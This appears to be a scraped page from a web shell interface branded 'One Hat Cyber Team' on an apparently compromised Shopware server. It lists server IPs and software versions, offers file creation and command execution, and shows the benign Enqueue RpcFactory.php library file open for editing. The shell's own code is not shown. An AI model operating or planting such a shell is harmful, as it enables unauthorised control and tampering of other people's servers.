⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.45
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
shopware
/
vendor
/
enqueue
/
enqueue
/
Rpc
/
Edit File: RpcFactory.php
<?php namespace Enqueue\Rpc; use Interop\Queue\Context; class RpcFactory { /** * @var Context */ private $context; /** * @param Context $context */ public function __construct(Context $context) { $this->context = $context; } /** * @param string $replyTo * @param string $correlationId * @param int $timeout * * @return Promise */ public function createPromise($replyTo, $correlationId, $timeout) { $replyQueue = $this->context->createQueue($replyTo); $receive = function (Promise $promise, $promiseTimeout) use ($replyQueue, $timeout, $correlationId) { $runTimeout = $promiseTimeout ?: $timeout; $endTime = time() + ((int) ($runTimeout / 1000)); $consumer = $this->context->createConsumer($replyQueue); do { if ($message = $consumer->receive($runTimeout)) { if ($message->getCorrelationId() === $correlationId) { $consumer->acknowledge($message); return $message; } $consumer->reject($message, true); } } while (time() < $endTime); throw TimeoutException::create($runTimeout, $correlationId); }; $receiveNoWait = function () use ($replyQueue, $correlationId) { static $consumer; if (null === $consumer) { $consumer = $this->context->createConsumer($replyQueue); } if ($message = $consumer->receiveNoWait()) { if ($message->getCorrelationId() === $correlationId) { $consumer->acknowledge($message); return $message; } $consumer->reject($message, true); } }; $finally = function (Promise $promise) use ($replyQueue) { if ($promise->isDeleteReplyQueue() && method_exists($this->context, 'deleteQueue')) { $this->context->deleteQueue($replyQueue); } }; return new Promise($receive, $receiveNoWait, $finally); } /** * @return string */ public function createReplyTo() { return $this->context->createTemporaryQueue()->getQueueName(); } }
Simpan